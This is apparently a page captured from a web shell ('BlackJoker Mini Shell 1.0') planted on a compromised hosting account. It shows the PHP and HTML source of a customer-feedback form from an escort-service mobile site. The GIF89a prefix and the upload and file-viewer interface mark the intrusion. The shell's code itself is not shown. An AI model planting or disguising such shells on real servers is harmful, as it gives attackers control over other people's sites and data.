GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/add-feedback.php

<?
session_start();
//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");
/*$sql="SELECT * FROM page_content WHERE id='45'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);*/

?>


<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title>Escort Service-Escorts,Female Escorts,Models,Call Girls,GEF,Companions</title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
  <script>
  	$('#frm').validate({
    rules: {
        userName: {
            required: true
        },
        
        emailAddrs: {
            required: true
        }
    },
    messages: {
        userName: {
            required: "Please enter your first name."
        },
       
        emailAddrs: {
            required: "Please enter your email."
        }
    },
    errorPlacement: function (error, element) {
        error.appendTo(element.parent().prev());
    },
    submitHandler: function (form) {
        $(':mobile-pagecontainer').pagecontainer('change', '#success', {
            reload: false
        });
        return false;
    }
});
  
  </script>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
   <!-- <div data-role="content" id="searchboxx">
    	<div data-role="fieldcontain" id="ser" data-iconpos="right">            
            <input type="search" name="search-2" id="search-2" value="" />
        </div>	
    </div>-->
    
	<div data-role="content">
    	
        <h2 id="loginheadertext">Leave Customer Feedback</h2>
        <!--<p id="alsignup">Do you have a promo code? <a href="#" data-transition="flip"  id="loginnow">Redeem it now, before you register!</a></p>-->
       <!-- <p id="loginalertmsg">
        	Please use your EscortService username and password to login bellow.
        </p>
        <p id="loginalertmsg">
        	Need to Register? <a href="join.html" id="jointextcolor" data-transition="flip" data-prefetch>Get Started Now!</a>
        </p>-->
        <form action="blacklist-process.php" method="post" name="frm" id="frm" data-ajax="false">
            <input name="submit_form" value="1" type="hidden">
            <label for="txt-username">Customer Name:<span id="starcolor">*</span></label>
            <input type="text" name="cushandle" id="txt-username" value="">
            
        	<label for="txt-email">Phone:<span id="starcolor">*</span></label>
            <input type="tel" name="phone" id="txt-email" value=""> 
            
           <label for="txt-password">Was the customer safe and respectful?:</label>
                 <select name="cussafe"  id="cussafe" visible="1">
                    <option value="" selected="selected">Please select...</option>
                    <option value="Yes">Yes</option>
                    <option value="No">No</option>
                </select>
                <label for="txt-cfpassword">Aditional Details:</label>
                 <textarea cols="40" rows="8" name="details" id="txt-cfpassword"></textarea>
            
            <p id="loginalertmsg">
        		*Note: Your feedback is 100% anonymous. Escortservice will facilitate conversations based on a feedback ID and we will never share your identity with others.
           </p>           
             
             <input type="image" src="continue.png" style="height:35px; margin-top:10px;">
             </form>
          
            <!--<a href="#dlg-invalid-credentials" data-rel="popup" data-transition="pop" data-position-to="window" id="btn-submit" ><img src="continue.png" style="height:35px; margin-top:10px;"></a>-->
            
            <div data-role="popup" id="dlg-invalid-credentials" data-dismissible="false" style="max-width:400px;">
                <div role="main" class="ui-content">
                    <h3 class="mc-text-danger">Login Failed</h3>
                    <p>Did you enter the right credentials?</p>
                    <div class="mc-text-center"><a href="#" data-rel="back" class="ui-btn ui-corner-all ui-shadow ui-btn-b mc-top-margin-1-5">OK</a></div>
                </div>
            </div>
        
        
        
	  	
	</div>
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0